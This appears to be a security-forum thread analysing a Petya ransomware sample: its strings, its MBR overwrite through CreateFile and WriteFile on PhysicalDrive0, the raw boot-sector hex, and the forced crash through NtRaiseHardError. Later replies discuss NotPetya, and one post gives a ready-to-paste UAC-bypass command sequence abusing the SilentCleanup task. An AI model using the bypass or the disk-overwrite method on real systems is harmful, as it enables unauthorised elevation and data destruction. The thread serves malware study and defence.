    .rdata:0042C578 0000005F C     !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~                                                                                                                               
    .rdata:0042C6DF 00000005 C    \a\b\t\n\v                                                                                                                                                                                                                      
    .rdata:0042C6F8 0000005F C     !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~                                                                                                                               
    .rdata:0042C7DE 00000005 C    \a\b\t\n\v                                                                                                                                                                                                                       
    .rdata:0042C7F7 0000005F C     !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~                                                                                                                               
    .rdata:0042C858 00000007 C    1#SNAN                                                                                                                                                                                                                           
    .rdata:0042C860 00000006 C    1#IND                                                                                                                                                                                                                           
    .rdata:0042C868 00000006 C    1#INF                                                                                                                                                                                                                           
    .rdata:0042C870 00000007 C    1#QNAN                                                                                                                                                                                                                                   
    .rdata:0042D69C 0000000E C    bad exception                                                                                                                                                                                                                   
    .rdata:0042D6AC 00000007 C    (null)                                                                                                                                                                                                                           
    .rdata:0042D6E9 00000008 C    ( 8PX\a\b                                                                                                                                                                                                                       
    .rdata:0042D6F1 00000007 C    700WP\a                                                                                                                                                                                                                         
    .rdata:0042D700 00000008 C    \b`h````                                                                                                                                                                                                                         
    .rdata:0042D709 0000000A C    xpxxxx\b\a\b                                                                                                                                                                                                                     
    .rdata:0042D74D 00000005 C    ('8PW                                                                                                                                                                                                                           
    .rdata:0042D756 00000005 C    700PP                                                                                                                                                                                                                           
    .rdata:0042D768 00000012 C    `h`hhh\b\b\axppwpp\b\b                                                                                                                                                                                                           
    .rdata:0042D784 00000016 C    SunMonTueWedThuFriSat                                                                                                                                                                                                           
    .rdata:0042D79C 00000025 C    JanFebMarAprMayJunJulAugSepOctNovDec                                                                                                                                                                                             
    .rdata:0042D7D0 00000025 C    0123456789abcdefghijklmnopqrstuvwxyz                                                                                                                                                                                             
    .rdata:0042D800 0000001E C    \v\v\n\n\t\t\t\t\t\b\b\b\b\b\b\b\a\a\a\a\a\a\a\a\a\a\a\a\a                                                                                                                                                                       
    .rdata:0042D820 00000025 C    0123456789abcdefghijklmnopqrstuvwxyz                                                                                                                                                                                             
    .rdata:0042D867 00000007 C    \r\r\r\r\r\r                                                                                                                                                                                                                     
    .rdata:0042D870 00000017 C    0123456789abcdefABCDEF                                                                                                                                                                                                           
    .rdata:0042D88F 00000005 C    \a\b\t\n\v                                                                                                                                                                                                                       
    .rdata:0042D954 00000019 C    SetDefaultDllDirectories                                                                                                                                                                                                         
    .rdata:0042D9D4 00000008 C    generic                                                                                                                                                                                                                         
    .rdata:0042D9DC 0000000E C    unknown error                                                                                                                                                                                                                   
    .rdata:0042D9EC 00000009 C    iostream                                                                                                                                                                                                                         
    .rdata:0042D9F8 00000016 C    iostream stream error                                                                                                                                                                                                           
    .rdata:0042DA10 00000007 C    system                                                                                                                                                                                                                           
    .rdata:0042DA18 00000010 C    string too long                                                                                                                                                                                                                 
    .rdata:0042DA28 00000018 C    invalid string position                                                                                                                                                                                                         
    .rdata:0042DBF7 0000001D C    $%',-/457<=?@ABCDEFGHIJKLMNO                                                                                                                                                                                                     
    .rdata:0042EDF3 00000005 C    '8!\x1B.                                                                                                                                                                                                                         
    .rdata:0042EDFD 00000007 C    \r8STs\ne                                                                                                                                                                                                                       
    .rdata:0042F0C0 00000013 C    vector<T> too long                                                                                                                                                                                                               
    .rdata:0042F2B8 00000010 C    base\\                                                                                                                                                                                                                 
    .rdata:0042F2C8 00000034 C    Unexpected exception in: omaha::Logging::~Logging\r\n                                                                                                                                                                           
    .rdata:0042F618 0000003E C    Unexpected exception in: omaha::Logging::InternalInitialize\r\n                                                                                                                                                                 
    .rdata:0042F658 00000039 C    Unexpected exception in: omaha::Logging::EnableLogging\r\n                                                                                                                                                                       
    .rdata:0042F694 0000003A C    Unexpected exception in: omaha::Logging::DisableLogging\r\n                                                                                                                                                                     
    .rdata:0042F6D0 00000046 C    Unexpected exception in: omaha::Logging::InternalLogMessageMaskedVA\r\n                                                                                                                                                         
    .rdata:0042F720 00000025 C    LOG_SYSTEM: Couldn't acquire lock -                                                                                                                                                                                             
    .rdata:0042FAA8 0000000F C    CreateMutexExW                                                                                                                                                                                                                   
    .rdata:0042FAB8 0000000F C    CreateEventExW                                                                                                                                                                                                                   
    .rdata:0042FBC1 00000040 C    BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/                                                                                                                                                                 
    .rdata:0042FFA8 00000019 C    RtlCaptureStackBackTrace                                                                                                                                                                                                         
    .rdata:004300D4 00000014 C    map/set<T> too long                                                                                                                                                                                                             
    .rdata:00430B50 00000014 C    CrashAnalysisResult                                                                                                                                                                                                             
    .rdata:00430B64 00000016 C    oop_crashes_requested                                                                                                                                                                                                           
    .rdata:00430B7C 00000015 C    oop_crashes_deferred                                                                                                                                                                                                                                                         
    .rdata:00430C40 00000019 C    crash_start_server_total                                                                                                                                                                                                         
    .rdata:00430C5C 0000001D C    crash_start_server_succeeded                                                                                                                                                                                                     
    .rdata:004310C0 0000000B C    UuidCreate                                                                                                                                                                                                                       
    .rdata:00431DF1 0000003F C    BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/                                                                                                                                                                 
    .rdata:00431E30 00000031 C    warning: removing Breakpad handler out of order\n                                                                                                                                                                               
    .rdata:00431E6C 0000001C C    invalid vector<T> subscript                                                                                                                                                                                                     
    .rdata:00433022 0000000D C    KERNEL32.dll                                                                                                                                                                                                                     
    .rdata:00433030 0000000B C    USER32.dll                                                                                                                                                                                                                       
    .rdata:0043344C 0000000D C    ADVAPI32.dll                                                                                                                                                                                                                     
    .rdata:00433C42 0000000A C    ole32.dll                                                                                                                                                                                                                                                                                                                                                                                                                                              
    .data:00435190  00000005 C    sqrt                                                                                                                                                                    
    .data:004355A9  00000007 C    abcdefg                                                                                                                                                                                                                         
    .data:004355B4  00000010 C    lmnopqrstuvwxyz                                                                                                                                                                                                                 
    .data:004355C9  0000001B C    ABCDEFGHIJKLMNOPQRSTUVWXYZ                                                                                                                                                                                                                               
    .data:004357C2  0000001B C    abcdefghijklmnopqrstuvwxyz                                                                                                                                                                                                       
    .data:004357E2  0000001B C    ABCDEFGHIJKLMNOPQRSTUVWXYZ                                                                                                                                                                                                                               
    .data:00436320  00000030 C    Copyright (c) 1992-2004 by P.J. Plauger, license                                                                                                                                                                                 
    .data:00436354  00000023 C     Dinkumware, Ltd. ALL RIGHTS RESERV                                             
    I personally expect the strings related to the alphabet, numbers, special characters, months of the year, days of the week and time to play a part of key creation within Petya. The Master File Table becomes encrypted and a key is used which is generated at a higher-level (within the Windows environment before the Master Boot Record overwrite, because doing this from your own 16-bit boot sector would be an even bigger challenge). There is a possibility that I am incorrect, considering I am not very good with cryptography itself, although based on experience with generating random file-names and the such (also using the same technique I just mentioned I believe is being done in Petya), I think that this estimation is quite fair.

    There are also strings regarding days of the week, some months of the year and time.

    dddd, MMMM dd, yyyy
    There are other strings which can provide us information, such as the string “Copyright (c) 1992-2004 by P.J. Plauger, license Dinkumware, Ltd. ALL RIGHTS RESERV”. With some quick checks, we can find this: Dinkumware Limited - this implies that the Petya sample itself is mostly made up of C, C++ or both. However, there is also another string referencing “iostream”, and iostream (#include <iostream> // Input and Output stream) is a library for C++ (a standard library), whereas in C programs you will be using a different library (header file) called “stdio” (#include <stdio.h>) to access functions with similar/the same functionality. This suggests that the Petya sample is based on C++, mostly at-least since the authors could have used inline Assembly (ASM) since the sample is x86 if they wanted to. This is an estimation based on my findings so far.



    Before we put an end to our static analysis and look at some dynamic monitoring to see what operations the sample performs while executing in memory, we will quickly go back to the imports and elaborate on a few things for detail.

    Since I am aware of how the Master Boot Record can be modified, I know that this operation can be carried out via the usage of file functions (e.g. Win32 API, or via the NTAPI to save a trip of going down to the NTAPI layer automatically by using the Win32 API). If we go back to the imports list (static), we can find two Win32 API functions which are exported by kernel32.dll called CreateFileW and WriteFile.

    The structure of the CreateFileA/W function is below:
    HANDLE WINAPI CreateFile(
      _In_ LPCTSTR lpFileName,
      _In_ DWORD dwDesiredAccess,
      _In_     DWORD dwShareMode,
      _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
      _In_     DWORD dwCreationDisposition,
      _In_     DWORD dwFlagsAndAttributes,
      _In_opt_ HANDLE hTemplateFile
    The CreateFile function from the Win32 API will end up landing at a stub in ntdll.dll for the Native API equivalent, NtCreateFile. It can be used to open a handle to an existent file on the system, or create a new one; to get a handle to the Master Boot Record you’ll want to pass “PhysicalDrive0” for the lpFileName parameter. This handle can be used for write operations, and can be closed with CloseHandle (also from kernel32.dll) once the handle is no longer needed. The function type is HANDLE because that is the data type which is returned.

    The other function I mentioned was WriteFile, also part of the Win32 API - as you may have already predicted (hopefully), it will land at NtWriteFile which is exported at ntdll.dll.

    The structure for WriteFile function is below:
    BOOL WINAPI WriteFile(
      _In_        HANDLE       hFile,
      _In_        LPCVOID      lpBuffer,
      _In_        DWORD        nNumberOfBytesToWrite,
      _Out_opt_   LPDWORD      lpNumberOfBytesWritten,
      _Inout_opt_ LPOVERLAPPED lpOverlapped
    The WriteFile function from the Win32 API can be used to write data to files (whoa that is surprising!). However, you can use it for I/O devices as well. You pass the data to write to the opened handle in the second parameter, and you pass the size to write total as the third parameter.

    Dynamic analysis
    We will be performing some dynamic analysis for this section of the analysis, which means the Petya sample will be running in memory.

    I’ll be using a free tool called API Monitor, which can be downloaded from a website called Rohitab. Debugging is more suitable under normal circumstances, however since I already know what to expect I can rely on API monitoring and then present the results with details on what is going on.

    I setup my configuration settings in API Monitor by setting a break-point on a few functions, including LdrLoadDll, LdrGetProcedureAddress, NtAdjustPrivilegesToken, NtDeviceIoControlFile, NtWriteFile and NtRaiseHardError. Remember, the Master Boot Record modification is performed by opening a handle to it via CreateFile (NtCreateFile) and then writing to it using the handle via WriteFile (NtWriteFile), which explains why I set a break-point on NtWriteFile; I didn’t set a break-point on NtCreateFile because I didn’t need to know for every-time a handle was opened.

    Since I set a break-point on LdrLoadDll, I was able to be notified every-time the process loaded a module into its address space; LdrLoadDll is called by LoadLibraryA/W, and the sample does not make use of manual map DLL loading therefore it was not going to bypass my break-point.

    When the sample starts running it will load a module called rsaenh.dll (built-into Windows - this is not a dynamic import for the module by the way), and it is the Microsoft Enhanced Cryptographic Service Provider (CSP). It contains functions relating to cryptography.


    After all the default initialization has been sorted out (e.g. loading necessary modules and address retrieval), the sample will make a call to SetTokenInformation, which will land at NtAdjustPrivilegesToken. When the break-point is hit to the NTAPI function called when the sample performs this operation, we can see from the parameter data that privilege being requested is 19 (and this actually represents SeShutdownPrivilege). The sample attempts to enable SeShutdownPrivilege (Shutdown Privileges) because if it does not, it won’t be able to force crash the system later on with NtRaiseHardError.


    Once SeShutdownPrivilege has been enabled, the sample will proceed to obtain information regarding the system disks. It does this via a Win32 API function called DeviceIoControl (if we go back we can find it in the list of static imported functions). This triggered my break-point on NtDeviceIoControlFile.



    The next stage is the overwriting of the Master Boot Record, however it isn’t as simple as replacing the first 512 bytes with Petya; the sample actually leaves the first sector (sector 0) until closer to the end of its operation, and it will proceed to overwrite all bytes from sector 1 - end of sector 33 with 0x36 (66). However, eventually it will overwrite the sector 0 (first sector on the hard disk) with its own code, and after doing this it will continue to overwrite sector 34 - mid sector 49 with its own code.



    At the start of sector 34 is the code for the fake CHKDSK (Check Disk) scan, and as you continue going through the sectors you’ll find the main Petya skull-screen and encryption information screen code.





    I had trouble getting NtRaiseHardError to break-point properly on some of my re-tests and was confused as to what the issue was, however in the end I resorted to manipulating the NtAdjustPrivilegesToken parameters when the break-point it so the sample would not actually receive SeShutdownPrivilege, preventing it from being able to force crash at the end (however allowing me to grab the information I needed).

    Once Petya has infected a system it will force crash the system with NtRaiseHardError, this function takes in 6 parameters. The function structure is below:

    NTSTATUS NTAPI NtRaiseHardError(
    NTSTATUS ErrorStatus,
    ULONG NumberOfParameters,
    ULONG UnicodeStringParameterMask OPTIONAL,
    PULONG_PTR Parameters, ULONG ResponseOption,
    PULONG Response
    The function is undocumented which means Microsoft themselves do not provide information regarding how to use the function. It is however exported by ntdll.dll therefore you can easily acquire the address of the function via GetProcAddress and use it that way.

    My original MBR before infection:
    33 C0 8E D0 BC 00 7C 8E C0 8E D8 BE 00 7C BF 00 06 B9 00 02 FC F3 A4 50 68 1C 06 CB FB B9 04 00 BD BE 07 80 7E 00 00 7C 0B 0F 85 0E 01 83 C5 10 E2 F1 CD 18 88 56 00 55 C6 46 11 05 C6 46 10 00 B4 41 BB AA 55 CD 13 5D 72 0F 81 FB 55 AA 75 09 F7 C1 01 00 74 03 FE 46 10 66 60 80 7E 10 00 74 26 66 68 00 00 00 00 66 FF 76 08 68 00 00 68 00 7C 68 01 00 68 10 00 B4 42 8A 56 00 8B F4 CD 13 9F 83 C4 10 9E EB 14 B8 01 02 BB 00 7C 8A 56 00 8A 76 01 8A 4E 02 8A 6E 03 CD 13 66 61 73 1C FE 4E 11 75 0C 80 7E 00 80 0F 84 8A 00 B2 80 EB 84 55 32 E4 8A 56 00 CD 13 5D EB 9E 81 3E FE 7D 55 AA 75 6E FF 76 00 E8 8D 00 75 17 FA B0 D1 E6 64 E8 83 00 B0 DF E6 60 E8 7C 00 B0 FF E6 64 E8 75 00 FB B8 00 BB CD 1A 66 23 C0 75 3B 66 81 FB 54 43 50 41 75 32 81 F9 02 01 72 2C 66 68 07 BB 00 00 66 68 00 02 00 00 66 68 08 00 00 00 66 53 66 53 66 55 66 68 00 00 00 00 66 68 00 7C 00 00 66 61 68 00 00 07 CD 1A 5A 32 F6 EA 00 7C 00 00 CD 18 A0 B7 07 EB 08 A0 B6 07 EB 03 A0 B5 07 32 E4 05 00 07 8B F0 AC 3C 00 74 09 BB 07 00 B4 0E CD 10 EB F2 F4 EB FD 2B C9 E4 64 EB 00 24 02 E0 F8 24 02 C3 49 6E 76 61 6C 69 64 20 70 61 72 74 69 74 69 6F 6E 20 74 61 62 6C 65 00 45 72 72 6F 72 20 6C 6F 61 64 69 6E 67 20 6F 70 65 72 61 74 69 6E 67 20 73 79 73 74 65 6D 00 4D 69 73 73 69 6E 67 20 6F 70 65 72 61 74 69 6E 67 20 73 79 73 74 65 6D 00 00 00 63 7B 9A 81 CD 53 53 01 01 80 20 21 00 07 FE FF FF 00 08 00 00 E7 89 45 04 00 FE FF FF 27 FE FF FF 00 98 45 04 00 58 1A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 AA
    The hexadecimal for the boot-sector Petya places into the sector 0 (first 512 bytes) is below for you.
    FA 66 31 C0 8E D0 8E C0 8E D8 BC 00 7C FB 88 16 93 7C 66 B8 20 00 00 00 66 BB 22 00 00 00 B9 00 80 E8 14 00 66 48 66 83 F8 00 75 F5 66 A1 00 80 EA 00 80 00 00 F4 EB FD 66 50 66 31 C0 52 56 57 66 50 66 53 89 E7 66 50 66 53 06 51 6A 01 6A 10 89 E6 8A 16 93 7C B4 42 CD 13 89 FC 66 5B 66 58 73 08 50 30 E4 CD 13 58 EB D6 66 83 C3 01 66 83 D0 00 81 C1 00 02 73 07 8C C2 80 C6 10 8E C2 5F 5E 5A 66 58 C3 60 B4 0E AC 3C 00 74 04 CD 10 EB F7 61 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 81 CD 53 53 01 01 80 20 21 00 07 FE FF FF 00 08 00 00 E7 89 45 04 00 FE FF FF 27 FE FF FF 00 98 45 04 00 58 1A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 AA
    You may notice the last two bytes “55 AA” - that is the boot signature as discussed at the start of this analysis. The BIOS uses the boot signature to identify if it is bootable or not. The Petya boot-loader is written in 16-bit Assembly.

    Once the system has been crashed by Petya, the outcome is the following.


    Thank you for reading.
    - Opcode

    Attached Files:

    daljeet, Zhou He, upnorth and 14 others like this.
  2. Opcode

    Opcode Level 18
    Content Creator

    Aug 17, 2017
    Windows 10
    I had to remove some strings from the list I put in the original thread due to the character limit, therefore here is the full list of strings (I changed some filters to find more strings):
    [CODE] Address Length Type String - (too long for the reply post here).

    "Microsoft Visual C++ Runtime Library" - suggests I was right about it being based on C++ mostly at least, instead of C.

    The sample also has a function which performs some clipboard operations, however as far as I am aware this appears to be left-over code in my sample which the authors seem to have forgotten to remove before pushing their sample out - probably relating to logging in case of an error during testing. I changed some variable names in the function, along with the function name globally so it can be understood easier. This explains why the sample imports Win32 API functions like OpenClipboard, SetClipboardData, etc. It doesn't read the clipboard and sent it anywhere or put anything malicious within it.

    int __thiscall modifyClipboard(void *this)
      void *paramData; // edi@1
      int stringLength; // esi@1
      int returnResult; // eax@1
      int LengthInfo; // ebx@2
      HGLOBAL hGlobal; // eax@2
      void *cbData; // esi@2
      void *hLock; // eax@2
      paramData = this;
      stringLength = lstrlenW((LPCWSTR)this);
      returnResult = OpenClipboard(0);
      if ( returnResult )
        LengthInfo = 2 * (stringLength + 1);
        hGlobal = GlobalAlloc(0x2002u, LengthInfo);
        cbData = hGlobal;
        hLock = GlobalLock(hGlobal);
        if ( hLock )
          memmove(hLock, paramData, LengthInfo);
        if ( !SetClipboardData(0xDu, cbData) )
        returnResult = CloseClipboard();
      return returnResult;


    Snaggy - easy screenshots
    Snaggy - easy screenshots

    The sample also makes use of the int 3 (interrupt 3) which will stop the debugger - in other words, this is a debugger trap technique. Whenever the interrupt is made, it will cause the debugger to stop, which can make it trickier for an analyst to follow the code execution. An example of this from within the sample is below.



    Snaggy - easy screenshots

    Snaggy - easy screenshots

    The sample does not use inline Assembly to use int 3 (it is a 32-bit process though therefore it could), but instead it makes use of a function __debugbreak() which does the same thing (and also provides 64-bit process support), causing an exception for the debugger. However as said before, it is done/used in parts of code which seem to have been left-over, I could be wrong though.

    - Opcode.

    Attached Files:

    Zhou He, XhenEd, omidomi and 8 others like this.
  3. Andy Ful

    Andy Ful Level 22

    Dec 23, 2014
    Windows 10
    @cruelsister tested a variant of Petya (NotPetya) recently (Video Review - NotPetya and Standard User Account), that had an interesting modification, as compared to the classic one. The old variant could not infect SUA. The new variant can infect a computer on SUA. It uses system executables (sctasks.exe, shutdown.exe) to create a scheduled task for restarting the system. Using sctasks.exe requires the SeTcbPrivilege, which is hard on SUA. I tried to find out how it is possible, but colud not find any information about it.
    silversurfer, Opcode and askalan like this.
  4. Opcode

    Opcode Level 18
    Content Creator

    Aug 17, 2017
    Windows 10
    I was under the impression that administrator rights was required to enable that privilege without exploiting a vulnerability, maybe my impression was wrong. I am not sure what the variant Cruelsister tested does to do what you mentioned, but maybe if you ask her she will know and be able to tell you - didn't NotPetya rely on the stolen NSA exploit/s such as EternalBlue? Maybe that could be related to potential privilege escalation (I am no expert with EB or DP, and do not even use Metasploit).

    I mean generally speaking if malware needed to bypass User Account Control:
    - There are open-source UAC bypasses (not sure if they work on SUA though).
    - Abusing vulnerable software already installed on the system (e.g. DLL hijacking, no digital signature -> injecting code into the PE itself on disk, etc.).
    - But I doubt that NotPetya sample used an open-source UAC bypass or attacked vulnerable software.

    You've got me interested in this as well now haha. Sorry I cannot be of much use this time currently... If I find anything out before you I'll be sure to let you know. :)
    silversurfer, XhenEd and harlan4096 like this.
  5. Opcode

    Opcode Level 18
    Content Creator

    Aug 17, 2017
    Windows 10
    I've gone through some analysis posts by other security researchers on NotPetya and it seems:
    - NotPetya will track the privileges it has
    - Depending on the privileges it will pursue with the credential theft module, overwrite the Master Boot Record (and if it can't then encrypt user documents).

    Rundll32.exe is used to execute the malicious code within the malicious DLL, and the variant looks out for: Kaspersky and Norton. If the sample was unable to receive SeDebugPrivilege (debugging rights), it'll use the scheduled task to restart the system.

    The sample may also use PsExec:

    NotPetya Ransomware Attack [Technical Analysis]
    NotPetya Technical Analysis
    Carbon Black Threat Research Technical Analysis: Petya / NotPetya Ransomware | Carbon Black

    If the sample was not supposed to be able to gain SeTcpPrivilege then I am not sure how it did. It seems the original tries to gain as many privileges as it can of the ones it is interested in and based on this it will be able to perform operations successfully or not... If the variant Cruelsister had was modified then who knows what technique it used for unauthorised privilege escalation.
    upnorth, XhenEd, Andy Ful and 3 others like this.
  6. tim one

    tim one Level 19
    Trusted AV Tester

    Jul 31, 2014
    Windows 10
    Impressive analysis! Thank you @Opcode ;)
  7. Andy Ful

    Andy Ful Level 22

    Dec 23, 2014
    Windows 10
    #7 Andy Ful, Sep 29, 2017
    Last edited: Sep 30, 2017
    I observed in @cruelsister's video, that after the start, NotPetya cannot obtain sufficient privileges to write files into the Windows folder (it can on admin account), so writes them in the user area. But, after some time it has sufficient privileges in some mysterious way. First, I thought, that it was able to steal the admin password (Local or Domain Admin), but I do not know how it is possible, when running as standard user on SUA. On Windows 7, the passwords are often stored as a clear text (can be easily converted to plain text), but if I correctly remember, the access to password storage, requires admin rights.
  8. Andy Ful

    Andy Ful Level 22

    Dec 23, 2014
    Windows 10
    #8 Andy Ful, Sep 30, 2017
    Last edited: Sep 30, 2017
    In theory, the malware has the possibility to silently elevate on SUA, waiting for the moment, when the user will manually elevate some program. But, I have not seen an example in the wild.
    Anyway, some variants of the classic Petya can bypass default UAC on Admin Account (but not UAC set to ‘Always notify me’, and not Windows 10 default UAC), that is also interesting. The variant I read about, uses a dropped DLL library to elevate, so it is probably based on IFileOperation, COM object or WUSA extraction + DLL hijack in a protected system location.
    upnorth, Opcode, XhenEd and 1 other person like this.
  9. Andy Ful

    Andy Ful Level 22

    Dec 23, 2014
    Windows 10
    #9 Andy Ful, Sep 30, 2017
    Last edited: Sep 30, 2017
    There are some UAC Admin Account baypasses on Windows 8+ (UAC set to ‘Always notify me’), which are not patched for months, for example:

    reg add HKCU\Environment /v windir /d "cmd /k c:\z\alternatestreamview.exe && REM" /f
    schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
    reg delete hkcu\Environment /v windir /f
    echo "Finished"

    If you copy/paste the above code to CMD console, it will run elevated the executable c:\z\alternatestreamview.exe without UAC prompt.
    The above bypass does not work on SUA.

    More UAC Admin Account baypasses (UAC set to ‘Always notify me’):
    Not a Security Boundary: Bypassing User Account Control
    We will probably see some of them in the wild, soon. Maybe in Crying Petya?:cry:
    upnorth, Opcode and XhenEd like this.